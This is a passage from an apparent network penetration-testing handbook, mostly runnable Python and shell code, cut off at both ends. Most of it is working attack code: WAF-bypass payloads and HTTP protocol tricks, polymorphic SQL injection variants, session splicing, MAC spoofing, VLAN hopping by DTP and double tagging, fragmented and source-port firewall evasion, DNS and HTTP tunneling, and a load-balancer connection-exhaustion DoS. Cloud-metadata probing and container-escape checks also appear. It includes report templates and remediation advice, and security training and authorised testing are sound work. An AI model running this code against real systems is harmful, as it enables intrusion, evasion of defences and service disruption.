query_string = '&'.join([f"{param}={v}" for v in values])
response = requests.get(f"{url}?{query_string}")
print(f"Duplicate: {response.status_code}")Path Obfuscation:
def path_obfuscation(base_url, target_path):
"""Generate obfuscated paths"""
paths = []
# Path traversal
paths.append(f"/{target_path}/..;/admin")
paths.append(f"/{target_path}%00admin")
paths.append(f"/{target_path}%0aadmin")
# URL encoding
import urllib.parse
paths.append(urllib.parse.quote(f"/{target_path}"))
# Unicode encoding
paths.append(f"/{target_path.replace('/', '/')}") # Unicode slash
# Case variation
paths.append(f"/{target_path.upper()}")
paths.append(f"/{target_path.lower()}")
# Extension tricks
paths.append(f"/{target_path}.asp/..;/admin")
paths.append(f"/{target_path}.php/../admin")
return pathsHTTP Protocol Violations:
def protocol_violations(url):
"""Test HTTP protocol violations for WAF bypass"""
import socket
violations = [
# Invalid method
"FAKEMETHOD / HTTP/1.1\r\nHost: {}\r\n\r\n",
# Invalid version
"GET / HTTP/0.9\r\nHost: {}\r\n\r\n",
# Missing headers
"GET / HTTP/1.1\r\n\r\n",
# Multiple content-length
"POST / HTTP/1.1\r\nHost: {}\r\nContent-Length: 0\r\nContent-Length: 100\r\n\r\n",
# Invalid content-length
"POST / HTTP/1.1\r\nHost: {}\r\nContent-Length: -1\r\n\r\n",
# Chunked encoding with invalid chunks
"POST / HTTP/1.1\r\nHost: {}\r\nTransfer-Encoding: chunked\r\n\r\ninvalid",
]
for violation in violations:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((url, 80))
payload = violation.format(url).encode()
sock.send(payload)
response = sock.recv(4096)
if b"200" in response:
print(f"[+] WAF bypassed with: {violation[:50]}...")
sock.close()
except:
passTime-Based Evasion:
def time_based_evasion(url, payload, delay=1):
"""Use timing to evade WAF"""
import requests
import time
# Slowloris-style
def slow_attack():
session = requests.Session()
# Send headers slowly
headers = {
'User-Agent': 'Mozilla/5.0',
'Content-Length': str(len(payload))
}
response = session.post(url, headers=headers, data=payload[0], timeout=10)
# Continue sending data slowly
for char in payload[1:]:
time.sleep(delay)
session.post(url, headers=headers, data=char, timeout=10)
return slow_attackPolymorphic Payloads:
def generate_polymorphic_sql(payload):
"""Generate multiple variations of SQL payload"""
variations = []
# Base payload
variations.append(payload)
# Case variations
variations.append(payload.upper())
variations.append(payload.lower())
variations.append(''.join(c.upper() if i%2 else c.lower() for i,c in enumerate(payload)))
# Comment insertion
comment_chars = ['/**/', '/*!*/', '-- ', '#', '/*!12345*/']
for comment in comment_chars:
variations.append(payload.replace(' ', comment))
# Whitespace variations
whitespace = [' ', '\t', '\n', '\r', '\n\r']
for ws in whitespace:
variations.append(payload.replace(' ', ws))
# Encoding
import urllib.parse
variations.append(urllib.parse.quote(payload))
variations.append(urllib.parse.quote(urllib.parse.quote(payload)))
# Inline comments (MySQL)
variations.append(payload.replace('SELECT', 'SELECT/*!12345*/'))
return variationsSession Splicing:
def session_splicing_attack(target_ip, target_port, payload, chunk_size=1, delay=0.5):
"""Split attack across multiple packets"""
import socket
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Send HTTP headers
headers = f"POST / HTTP/1.1\r\nHost: {target_ip}\r\nContent-Length: {len(payload)}\r\n\r\n"
sock.send(headers.encode())
# Send payload character by character
for char in payload:
sock.send(char.encode())
time.sleep(delay)
response = sock.recv(4096)
sock.close()
return responseNormalizing Traffic:
def normalize_traffic_pattern():
"""Generate legitimate-looking traffic patterns"""
import random
import time
patterns = {
'user_agents': [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15',
],
'request_timing': lambda: random.uniform(1, 5), # 1-5 seconds between requests
'referers': [
'https://www.google.com/',
'https://www.bing.com/',
'https://www.facebook.com/',
None # Direct traffic
]
}
return patternsMAC Spoofing on Linux:
# Show current MAC
ip link show eth0
# Disable interface
sudo ip link set dev eth0 down
# Change MAC
sudo ip link set dev eth0 address 00:11:22:33:44:55
# Enable interface
sudo ip link set dev eth0 up
# Verify
ip link show eth0MAC Spoofing with Python:
import subprocess
def change_mac(interface, new_mac):
"""Change MAC address"""
try:
# Bring interface down
subprocess.run(['sudo', 'ip', 'link', 'set', 'dev', interface, 'down'], check=True)
# Change MAC
subprocess.run(['sudo', 'ip', 'link', 'set', 'dev', interface, 'address', new_mac], check=True)
# Bring interface up
subprocess.run(['sudo', 'ip', 'link', 'set', 'dev', interface, 'up'], check=True)
print(f"[+] MAC changed to {new_mac}")
return True
except subprocess.CalledProcessError as e:
print(f"[-] Error: {e}")
return FalseCapturing Authentication:
from scapy.all import *
def sniff_eap(interface):
"""Capture EAP authentication"""
def handle_eap(pkt):
if pkt.haslayer(EAPOL):
print(f"\n[+] EAPOL Packet from {pkt.src}")
if pkt.haslayer(EAP):
eap = pkt[EAP]
print(f" EAP Code: {eap.code}")
print(f" EAP Type: {eap.type}")
# Capture successful authentication
if eap.code == 3 and eap.type == 0: # EAP Success
print(f" [!] Successful authentication from {pkt.src}")
print(f" MAC: {pkt.src}")
sniff(iface=interface, filter="ether proto 0x888e", prn=handle_eap)Switch Spoofing:
def switch_spoofing(interface):
"""Attempt to negotiate trunk with DTP"""
from scapy.all import *
# DTP frame (Dynamic Trunking Protocol)
dtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc")/
LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/
SNAP(OUI=0x00000c, code=0x2004)/
Raw(load="\x00\x01\x00\x01")
)
print("[*] Sending DTP frames to negotiate trunk...")
sendp(dtp_frame, iface=interface, count=10, inter=1)Double Tagging:
def double_tagging(interface, target_vlan):
"""VLAN hopping via double tagging"""
from scapy.all import *
# Frame with two VLAN tags
frame = (
Ether(dst="ff:ff:ff:ff:ff:ff")/
Dot1Q(vlan=1)/ # Native VLAN
Dot1Q(vlan=target_vlan)/ # Target VLAN
IP(dst=f"192.168.{target_vlan}.1")/
ICMP()
)
print(f"[*] Sending double-tagged frame to VLAN {target_vlan}")
response = srp1(frame, iface=interface, timeout=2)
if response:
print(f"[+] VLAN hopping successful - received response from VLAN {target_vlan}")
else:
print("[-] No response - VLAN hopping may be blocked")Scanning with Allowed Ports:
# Use DNS port (53) as source
nmap -g 53 -sS target.com
# Use HTTP port (80) as source
nmap -g 80 -sS target.com
# Use HTTPS port (443) as source
nmap -g 443 -sS target.com
# With hping3
hping3 -S -p 80 -s 53 target.comPython Implementation:
def scan_with_source_port(target_ip, target_port, source_port):
"""Port scan using specific source port"""
from scapy.all import *
packet = IP(src=get_if_addr(conf.iface), dst=target_ip)/ \
TCP(sport=source_port, dport=target_port, flags="S")
response = sr1(packet, timeout=2, verbose=False)
if response and response.haslayer(TCP):
if response[TCP].flags == 0x12: # SYN-ACK
print(f"[+] Port {target_port} open from source port {source_port}")
return True
return FalseFragment Scanning:
# Nmap fragmentation
nmap -f -sS target.com
# With specific fragment size
nmap --mtu 24 -sS target.com
# Custom fragmentation with fragroute
echo "tcp_seg 8" > fragroute.conf
fragroute -f fragroute.conf target.comCustom Fragmentation:
def fragmented_scan(target_ip, target_port):
"""Scan with fragmented packets"""
from scapy.all import *
# Create packet
packet = IP(dst=target_ip)/TCP(dport=target_port, flags="S")
# Fragment manually
fragments = fragment(packet, fragsize=8)
for frag in fragments:
send(frag, verbose=False)
# Wait for response
response = sniff(filter=f"host {target_ip}", count=1, timeout=2)
if response:
print(f"[+] Received response to fragmented scan")TTL-Based Bypass:
def ttl_bypass(target_ip, target_port, firewall_ttl):
"""Bypass firewall using TTL expiration"""
from scapy.all import *
# Set TTL to expire just after firewall
packet = IP(dst=target_ip, ttl=firewall_ttl+1)/ \
TCP(dport=target_port, flags="S")
response = sr1(packet, timeout=2, verbose=False)
if response:
print(f"[+] Bypass successful with TTL={firewall_ttl+1}")HTTP in DNS:
def dns_tunnel_http(domain, data):
"""Tunnel HTTP over DNS"""
import dns.resolver
# Encode data in subdomain
encoded = data.encode('hex')
query = f"{encoded}.{domain}"
# Send DNS query
try:
response = dns.resolver.query(query, 'TXT')
for rdata in response:
return str(rdata)
except:
return NoneSSH over HTTP:
def ssh_over_http(proxy_host, proxy_port, ssh_host, ssh_port):
"""Tunnel SSH through HTTP CONNECT"""
import socket
# Connect to proxy
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((proxy_host, proxy_port))
# Send CONNECT request
connect_req = f"CONNECT {ssh_host}:{ssh_port} HTTP/1.0\r\n\r\n"
sock.send(connect_req.encode())
# Check response
response = sock.recv(1024)
if b"200" in response:
print("[+] Tunnel established")
return sock
return NoneHTTP Header Analysis:
def identify_load_balancer(url):
"""Identify load balancer from headers"""
import requests
response = requests.get(url)
lb_indicators = {
'X-Forwarded-For': 'Reverse proxy',
'X-Forwarded-Host': 'Reverse proxy',
'X-Forwarded-Proto': 'Reverse proxy',
'X-Forwarded-Server': 'Reverse proxy',
'X-Backend-Server': 'Load balancer',
'Via': 'Proxy/Load balancer',
'X-Cache': 'CDN/Cache',
'X-Cache-Hits': 'CDN/Cache',
'CF-RAY': 'Cloudflare',
'X-Akamai-Transformed': 'Akamai',
'X-Amz-Cf-Id': 'CloudFront',
'Server: gws': 'Google Web Server',
'X-Powered-By: AWS Lambda': 'AWS Lambda'
}
found = []
for header, desc in lb_indicators.items():
if header in response.headers:
found.append(f"{desc}: {response.headers[header]}")
return foundSession Persistence Testing:
def test_session_persistence(url, num_requests=10):
"""Test if sessions stick to same backend"""
import requests
session = requests.Session()
backends = []
for i in range(num_requests):
response = session.get(url)
# Try to identify backend
backend = None
for header in ['X-Backend-Server', 'X-Forwarded-Server', 'Server']:
if header in response.headers:
backend = response.headers[header]
break
backends.append(backend)
print(f"Request {i}: {backend}")
# Check if all requests went to same backend
unique_backends = set(backends)
if len(unique_backends) == 1:
print("[*] Session persistence active")
else:
print("[*] No session persistence")Load Balancer DoS:
def lb_connection_exhaustion(target_ip, target_port, num_connections=1000):
"""Exhaust load balancer connection table"""
import socket
import threading
connections = []
def create_connection():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Keep connection open
sock.send(b"GET / HTTP/1.1\r\nHost: localhost\r\n")
connections.append(sock)
except:
pass
threads = []
for i in range(num_connections):
t = threading.Thread(target=create_connection)
t.start()
threads.append(t)
for t in threads:
t.join()
print(f"[+] Created {len(connections)} connections")
return connectionsVPC Testing:
def test_vpc_security(aws_profile, region):
"""Test VPC security configuration"""
import boto3
session = boto3.Session(profile_name=aws_profile, region_name=region)
ec2 = session.client('ec2')
# Get all VPCs
vpcs = ec2.describe_vpcs()
for vpc in vpcs['Vpcs']:
vpc_id = vpc['VpcId']
print(f"\n[*] Testing VPC: {vpc_id}")
# Check default security groups
security_groups = ec2.describe_security_groups(
Filters=[{'Name': 'vpc-id', 'Values': [vpc_id]}]
)
for sg in security_groups['SecurityGroups']:
# Check for overly permissive rules
for rule in sg['IpPermissions']:
for ip_range in rule.get('IpRanges', []):
if ip_range.get('CidrIp') == '0.0.0.0/0':
print(f" [!] Open to world: {sg['GroupName']} - {rule}")
# Check network ACLs
nacls = ec2.describe_network_acls(
Filters=[{'Name': 'vpc-id', 'Values': [vpc_id]}]
)
for nacl in nacls['NetworkAcls']:
for entry in nacl['Entries']:
if entry.get('CidrBlock') == '0.0.0.0/0' and entry.get('RuleAction') == 'allow':
print(f" [!] Open NACL rule: {entry}")Metadata Service Testing:
def test_metadata_service(ip):
"""Test for accessible cloud metadata service"""
import requests
import socket
metadata_urls = {
'aws': 'http://169.254.169.254/latest/meta-data/',
'gcp': 'http://metadata.google.internal/computeMetadata/v1/',
'azure': 'http://169.254.169.254/metadata/instance?api-version=2017-08-01',
'digitalocean': 'http://169.254.169.254/metadata/v1/'
}
for cloud, url in metadata_urls.items():
try:
headers = {'Metadata-Flavor': 'Google'} if cloud == 'gcp' else {}
response = requests.get(url, headers=headers, timeout=2)
if response.status_code == 200:
print(f"[!] Accessible {cloud} metadata service at {url}")
print(response.text[:200])
except requests.exceptions.RequestException:
passDocker Network Enumeration:
# List networks
docker network ls
# Inspect network
docker network inspect bridge
# List containers with IPs
docker ps -q | xargs -n 1 docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'
# Check exposed ports
docker ps --format "table {{.Names}}\t{{.Ports}}"Container Escape via Network:
def test_container_escape():
"""Test for container network escape vectors"""
import socket
import os
# Check if running in container
if os.path.exists('/.dockerenv'):
print("[*] Running in Docker container")
# Try to access host network
try:
# Connect to host's Docker daemon
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('host.docker.internal', 2375))
print("[!] Can access host Docker daemon")
except:
pass
# Try to access cloud metadata
try:
import requests
response = requests.get('http://169.254.169.254/latest/meta-data/', timeout=2)
if response.status_code == 200:
print("[!] Can access cloud metadata from container")
except:
passKubernetes Network Policies:
def test_k8s_network_policies(kube_config):
"""Test Kubernetes network policies"""
from kubernetes import client, config
config.load_kube_config(config_file=kube_config)
v1 = client.CoreV1Api()
networking = client.NetworkingV1Api()
# List namespaces
namespaces = v1.list_namespace()
for ns in namespaces.items:
print(f"\n[*] Namespace: {ns.metadata.name}")
# List pods
pods = v1.list_namespaced_pod(ns.metadata.name)
for pod in pods.items:
print(f" Pod: {pod.metadata.name} - IP: {pod.status.pod_ip}")
# List network policies
policies = networking.list_namespaced_network_policy(ns.metadata.name)
for policy in policies.items:
print(f" NetworkPolicy: {policy.metadata.name}")
# Check if default deny exists
if policy.spec.pod_selector.match_labels == {}:
if policy.spec.policy_types == ['Ingress'] and not policy.spec.ingress:
print(" [*] Default deny ingress policy")MQTT Enumeration:
def test_mqtt_broker(broker_ip, port=1883):
"""Test MQTT broker security"""
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
if rc == 0:
print(f"[+] Connected to MQTT broker")
# Try to subscribe to all topics
client.subscribe("#")
print("[*] Subscribed to all topics")
else:
print(f"[-] Connection failed: {rc}")
def on_message(client, userdata, msg):
print(f"[+] Topic: {msg.topic} - Payload: {msg.payload}")
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
try:
client.connect(broker_ip, port, 60)
client.loop_start()
# Keep listening for messages
import time
time.sleep(10)
except Exception as e:
print(f"[-] Error: {e}")CoAP Enumeration:
def test_coap_server(server_ip, port=5683):
"""Test CoAP server security"""
from aiocoap import *
import asyncio
async def enumerate_resources():
protocol = await Context.create_client_context()
# Try to discover resources
request = Message(code=GET, uri=f'coap://{server_ip}:{port}/.well-known/core')
try:
response = await protocol.request(request).response
print(f"[+] Resources: {response.payload}")
except Exception as e:
print(f"[-] Error: {e}")
asyncio.run(enumerate_resources())Micro-segmentation Testing:
def test_microsegmentation(targets, test_cases):
"""Test micro-segmentation implementation"""
import socket
import threading
results = []
def test_connection(src, dst, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((dst, port))
if result == 0:
results.append({
'source': src,
'destination': dst,
'port': port,
'allowed': True
})
sock.close()
except:
pass
threads = []
for src in targets:
for dst in targets:
if src != dst:
for port in test_cases:
t = threading.Thread(target=test_connection,
args=(src, dst, port))
t.start()
threads.append(t)
for t in threads:
t.join()
# Analyze results
for result in results:
print(f"[*] {result['source']} -> {result['destination']}:{result['port']} - ALLOWED")
return resultsScope Definition Template:
def define_scope():
"""Define penetration testing scope"""
scope = {
'targets': {
'domains': ['target.com', '*.target.com'],
'ip_ranges': ['192.168.1.0/24', '10.0.0.0/8'],
'cloud_resources': ['target-aws-account', 'target-gcp-project']
},
'testing_types': [
'external_network',
'internal_network',
'web_application',
'wireless',
'social_engineering'
],
'rules_of_engagement': {
'testing_hours': '09:00-17:00 local time',
'sensitive_systems': ['payment-processing', 'customer-db'],
'dos_allowed': False,
'data_exfiltration': 'proof_of_concept_only'
},
'deliverables': [
'executive_summary',
'technical_report',
'remediation_guide',
'raw_scan_data'
]
}
return scopeReconnaissance Checklist:
def recon_checklist(target):
"""Execute reconnaissance checklist"""
import subprocess
checks = [
{
'name': 'DNS Enumeration',
'command': f'dnsrecon -d {target} -t std,brt'
},
{
'name': 'Subdomain Discovery',
'command': f'subfinder -d {target} -all'
},
{
'name': 'Port Scanning',
'command': f'nmap -sS -sV -p- {target}'
},
{
'name': 'Technology Detection',
'command': f'whatweb {target}'
},
{
'name': 'SSL/TLS Analysis',
'command': f'sslscan {target}'
},
{
'name': 'Cloud Enumeration',
'command': f'cloud_enum -k {target}'
}
]
results = {}
for check in checks:
print(f"[*] Running: {check['name']}")
try:
output = subprocess.check_output(check['command'], shell=True, text=True)
results[check['name']] = output
print(f"[+] Completed: {check['name']}")
except subprocess.CalledProcessError as e:
print(f"[-] Failed: {check['name']}")
results[check['name']] = str(e)
return resultsVulnerability Scanning:
def vulnerability_scan(targets):
"""Automated vulnerability scanning"""
import nmap
import json
nm = nmap.PortScanner()
results = {}
for target in targets:
print(f"[*] Scanning {target}")
# Run various scans
scans = {
'quick': '-sS -sV -T4 -F',
'full': '-sS -sV -p-',
'vuln': '--script vuln',
'safe': '--script safe'
}
target_results = {}
for scan_name, scan_args in scans.items():
print(f" [*] Running {scan_name} scan")
try:
nm.scan(target, arguments=scan_args)
target_results[scan_name] = nm[target]
except Exception as e:
print(f" [-] Error: {e}")
results[target] = target_results
return resultsExploitation Workflow:
def exploitation_flow(vulnerabilities):
"""Execute exploitation based on findings"""
exploits = []
for vuln in vulnerabilities:
print(f"[*] Attempting to exploit: {vuln['name']}")
# Match vulnerability to exploit
if 'MS17-010' in vuln['name'] or 'EternalBlue' in vuln['name']:
exploit = {
'module': 'exploit/windows/smb/ms17_010_eternalblue',
'target': vuln['host'],
'port': 445
}
exploits.append(exploit)
elif 'SMB signing disabled' in vuln['description']:
exploit = {
'type': 'relay',
'target': vuln['host'],
'technique': 'SMB relay'
}
exploits.append(exploit)
elif 'default credentials' in vuln['description'].lower():
exploit = {
'type': 'bruteforce',
'target': vuln['host'],
'service': vuln['service']
}
exploits.append(exploit)
return exploitsComprehensive Finding Template:
def create_finding_template():
"""Create structured finding template"""
finding = {
'finding_id': 'NET-2024-001',
'title': 'Default SNMP Community String Enabled',
'severity': 'High',
'cvss_score': 7.5,
'cvss_vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N',
'affected_assets': [
{
'host': '192.168.1.10',
'hostname': 'core-sw-01.internal',
'port': 161,
'service': 'SNMP'
}
],
'description': '''The target device has SNMP configured with the default
community string "public". SNMP provides extensive information about device
configuration, running processes, network connections, and system details.
An attacker with network access can enumerate this information to aid in
further attacks.''',
'proof_of_concept': '''```
$ snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.1
SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, C2960 Software
$ snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.2 # Network interfaces
$ snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.4 # IP information
$ snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.6 # TCP connections
```''',
'impact': '''Successful exploitation allows an attacker to:
1. Map network topology and connected devices
2. Identify running services and open ports
3. Extract configuration information
4. Potentially modify configuration if write community also default
5. Use information for targeted attacks''',
'remediation': '''Immediate:
1. Change SNMP community strings from defaults to complex, unique values
2. Restrict SNMP access to authorized management hosts via ACLs
Short-term:
3. Use SNMPv3 with authentication and encryption where supported
4. Implement network segmentation for management traffic
Long-term:
5. Disable SNMP if not required
6. Implement centralized logging and monitoring for SNMP access''',
'references': [
'CWE-16: Configuration',
'CVE-1999-0517 (SNMP default community)',
'https://tools.ietf.org/html/rfc3411 (SNMPv3)'
],
'remediation_complexity': 'Medium',
'remediation_time': '1 hour',
'remediation_verification': 'Verify SNMP community strings and access lists'
}
return findingExecutive Summary:
def create_executive_summary(findings):
"""Create executive summary from findings"""
summary = {
'engagement_overview': {
'client': 'Target Corporation',
'date': 'January 2024',
'testers': ['John Doe', 'Jane Smith'],
'scope': 'External network and web application assessment'
},
'risk_summary': {
'critical': len([f for f in findings if f['severity'] == 'Critical']),
'high': len([f for f in findings if f['severity'] == 'High']),
'medium': len([f for f in findings if f['severity'] == 'Medium']),
'low': len([f for f in findings if f['severity'] == 'Low']),
'info': len([f for f in findings if f['severity'] == 'Info'])
},
'key_findings': [
{
'title': 'Exposed Administrative Interfaces',
'severity': 'Critical',
'summary': 'Multiple network devices have administrative interfaces exposed to the internet',
'impact': 'Attackers can attempt to gain unauthorized access to critical infrastructure'
},
{
'title': 'Default SNMP Communities',
'severity': 'High',
'summary': 'SNMP configured with default "public" community on core switches',
'impact': 'Network topology and device information exposed'
}
],
'executive_recommendations': [
'Implement network segmentation to restrict access to management interfaces',
'Change all default credentials and community strings',
'Enable logging and monitoring for suspicious network activity',
'Develop and implement a patch management process',
'Conduct regular security awareness training'
],
'business_impact': '''The identified vulnerabilities pose a significant risk
to the organization's security posture. An attacker could leverage these
weaknesses to gain unauthorized access to internal systems, potentially
leading to data breach, service disruption, or financial loss. Immediate
remediation of critical and high-risk findings is recommended to reduce
the attack surface.''',
'next_steps': [
'Remediate critical and high-risk findings within 30 days',
'Schedule remediation verification testing',
'Update security policies and procedures',
'Consider additional security controls where needed'
]
}
return summaryTool Categories and Usage:
tools = {
'reconnaissance': {
'nmap': 'Port scanning, service detection, OS fingerprinting',
'masscan': 'High-speed port scanning',
'rustscan': 'Fast port scanner with scripting',
'amass': 'DNS enumeration and asset discovery',
'theHarvester': 'Email and subdomain harvesting',
'shodan': 'Internet-connected device search',
'censys': 'Attack surface discovery',
'dnsrecon': 'DNS enumeration',
'gobuster': 'Directory and DNS brute forcing',
'ffuf': 'Fast web fuzzing'
},
'traffic_analysis': {
'wireshark': 'Packet capture and analysis',
'tshark': 'Command-line packet analysis',
'tcpdump': 'Command-line packet capture',
'scapy': 'Packet manipulation library',
'zeek': 'Network security monitoring',
'ngrep': 'Network grep',
'tcpflow': 'TCP stream reassembly'
},
'exploitation': {
'metasploit': 'Exploitation framework',
'beef': 'Browser exploitation framework',
'bettercap': 'MITM and network attacks',
'ettercap': 'Comprehensive MITM suite',
'responder': 'LLMNR/NBT-NS poisoning',
'crackmapexec': 'Post-exploitation toolkit',
'impacket': 'Network protocol manipulation',
'yersinia': 'Layer 2 attacks'
},
'web_application': {
'burp_suite': 'Web proxy and testing tools',
'owasp_zap': 'Web application scanner',
'sqlmap': 'Automated SQL injection',
'nikto': 'Web server scanner',
'wpscan': 'WordPress vulnerability scanner',
'droopescan': 'CMS vulnerability scanner',
'wfuzz': 'Web fuzzer',
'dirb': 'Directory brute forcer'
},
'wireless': {
'aircrack-ng': 'Wireless security tools',
'kismet': 'Wireless network detector',
'wifite': 'Automated wireless auditing',
'reaver': 'WPS attack tool',
'mdk4': 'Wireless attack tool',
'hcxdumptool': 'Capture WPA handshakes'
},
'cloud': {
'scoutsuite': 'Multi-cloud security auditing',
'prowler': 'AWS security tool',
'cloudsploit': 'Cloud security scanning',
'gcp_scanner': 'GCP enumeration',
'azure_scan': 'Azure security scanning'
},
'containers': {
'kube-hunter': 'Kubernetes security testing',
'kube-bench': 'Kubernetes CIS benchmark',
'docker-bench-security': 'Docker security assessment',
'trivy': 'Container vulnerability scanner',
'grype': 'Container vulnerability scanner'
}
}Automation Framework:
#!/usr/bin/env python3
"""
Custom network penetration testing framework
"""
import argparse
import logging
import json
import os
import subprocess
from datetime import datetime
class PenTestFramework:
def __init__(self, target, output_dir):
self.target = target
self.output_dir = output_dir
self.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
self.results = {}
# Setup logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler(f"{output_dir}/pentest_{self.timestamp}.log"),
logging.StreamHandler()
]
)
self.log = logging.getLogger(__name__)
# Create output directory
os.makedirs(output_dir, exist_ok=True)
def run_command(self, command, description):
"""Run system command and log output"""
self.log.info(f"Running: {description}")
self.log.debug(f"Command: {command}")
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=3600
)
if result.returncode == 0:
self.log.info(f"Success: {description}")
return result.stdout
else:
self.log.error(f"Failed: {description}")
self.log.error(result.stderr)
return None
except subprocess.TimeoutExpired:
self.log.error(f"Timeout: {description}")
return None
def recon_phase(self):
"""Execute reconnaissance phase"""
self.log.info("=== Starting Reconnaissance Phase ===")
# DNS enumeration
self.results['dns'] = self.run_command(
f"dnsrecon -d {self.target} -t std,brt -o {self.output_dir}/dns_{self.timestamp}.xml",
"DNS enumeration"
)
# Subdomain discovery
self.results['subdomains'] = self.run_command(
f"subfinder -d {self.target} -all -o {self.output_dir}/subdomains_{self.timestamp}.txt",
"Subdomain discovery"
)
# Port scanning
self.results['port_scan'] = self.run_command(
f"nmap -sS -sV -p- -T4 -oA {self.output_dir}/nmap_{self.timestamp} {self.target}",
"Full port scan"
)
self.log.info("Reconnaissance phase complete")
def vulnerability_phase(self):
"""Execute vulnerability assessment phase"""
self.log.info("=== Starting Vulnerability Assessment Phase ===")
# Vulnerability scan
self.results['vuln_scan'] = self.run_command(
f"nmap -sS -sV --script vuln -oA {self.output_dir}/vuln_{self.timestamp} {self.target}",
"Vulnerability scan"
)
# Web application scan
self.results['web_scan'] = self.run_command(
f"nikto -h {self.target} -o {self.output_dir}/nikto_{self.timestamp}.txt",
"Web server scan"
)
self.log.info("Vulnerability assessment phase complete")
def exploitation_phase(self):
"""Execute exploitation phase"""
self.log.info("=== Starting Exploitation Phase ===")
# Check for common vulnerabilities
checks = [
("SNMP default community", f"snmpwalk -v2c -c public {self.target} system"),
("Anonymous FTP", f"nmap --script ftp-anon -p 21 {self.target}"),
("SSL/TLS issues", f"sslscan {self.target}"),
]
self.results['exploitation'] = []
for desc, cmd in checks:
result = self.run_command(cmd, desc)
if result and "ERROR" not in result:
self.results['exploitation'].append({
'check': desc,
'result': result[:500] # First 500 chars
})
self.log.info("Exploitation phase complete")
def generate_report(self):
"""Generate penetration testing report"""
self.log.info("=== Generating Report ===")
report = {
'target': self.target,
'timestamp': self.timestamp,
'results': self.results,
'summary': {
'phases_completed': list(self.results.keys()),
'findings_count': sum(len(v) if isinstance(v, list) else 1
for v in self.results.values())
}
}
# Save JSON report
report_file = f"{self.output_dir}/report_{self.timestamp}.json"
with open(report_file, 'w') as f:
json.dump(report, f, indent=2)
self.log.info(f"Report saved to {report_file}")
# Generate HTML report
self.generate_html_report(report)
def generate_html_report(self, report):
"""Generate HTML report from results"""
html = f"""
<!DOCTYPE html>
<html>
<head>
<title>Penetration Test Report - {self.target}</title>
<style>
body {{ font-family: Arial, sans-serif; margin: 20px; }}
h1 {{ color: #333; }}
h2 {{ color: #666; }}
.section {{ margin: 20px 0; padding: 10px; border: 1px solid #ddd; }}
.success {{ color: green; }}
.error {{ color: red; }}
pre {{ background: #f4f4f4; padding: 10px; overflow-x: auto; }}
</style>
</head>
<body>
<h1>Penetration Test Report</h1>
<p><strong>Target:</strong> {self.target}</p>
<p><strong>Date:</strong> {self.timestamp}</p>
<div class="section">
<h2>Executive Summary</h2>
<p>Total findings: {report['summary']['findings_count']}</p>
<p>Phases completed: {', '.join(report['summary']['phases_completed'])}</p>
</div>
"""
# Add results sections
for phase, data in report['results'].items():
html += f"""
<div class="section">
<h2>{phase.upper()}</h2>
<pre>{str(data)[:1000]}</pre>
</div>
"""
html += """
</body>
</html>
"""
html_file = f"{self.output_dir}/report_{self.timestamp}.html"
with open(html_file, 'w') as f:
f.write(html)
self.log.info(f"HTML report saved to {html_file}")
def run(self):
"""Execute full penetration test"""
self.log.info(f"=== Starting Penetration Test for {self.target} ===")
self.recon_phase()
self.vulnerability_phase()
self.exploitation_phase()
self.generate_report()
self.log.info("=== Penetration Test Complete ===")
def main():
parser = argparse.ArgumentParser(description="Network Penetration Testing Framework")
parser.add_argument("target", help="Target IP or domain")
parser.add_argument("-o", "--output", default="./pentest_results", help="Output directory")
args = parser.parse_args()
framework = PenTestFramework(args.target, args.output)
framework.run()
if __name__ == "__main__":
main()Scope Analysis Script:
def analyze_bugbounty_scope(program_url):
"""Analyze bug bounty program scope"""
import requests
from bs4 import BeautifulSoup
response = requests.get(program_url)
soup = BeautifulSoup(response.text, 'html.parser')
scope = {
'in_scope': {
'domains': [],
'ip_ranges': [],
'technologies': []
},
'out_of_scope': {
'domains': [],
'ip_ranges': []
}
}
# Find scope sections (varies by platform)
# This is a simplified example
# Look for in-scope patterns
in_scope_text = soup.find_all(string=lambda text: text and 'in scope' in text.lower())
for text in in_scope_text:
# Extract domains and IPs
# ... parsing logic ...
pass
return scopeDNS Misconfiguration Scanner:
def scan_dns_misconfigurations(domain):
"""Scan for DNS misconfigurations"""
import dns.resolver
import dns.zone
findings = []
# Test for zone transfer
try:
ns_servers = dns.resolver.query(domain, 'NS')
for ns in ns_servers:
ns = str(ns)
try:
zone = dns.zone.from_xfr(dns.query.xfr(ns, domain))
findings.append({
'type': 'zone_transfer',
'severity': 'high',
'details': f'Zone transfer allowed from {ns}'
})
except:
pass
except:
pass
# Check for open resolvers
try:
resolver = dns.resolver.Resolver()
resolver.nameservers = ['8.8.8.8'] # Test resolver
# Try recursive query
result = resolver.query('google.com', 'A')
findings.append({
'type': 'open_resolver',
'severity': 'medium',
'details': 'DNS server allows recursive queries'
})
except:
pass
# Check for subdomain takeover
subdomains_to_test = ['test', 'dev', 'staging', 'admin']
for sub in subdomains_to_test:
try:
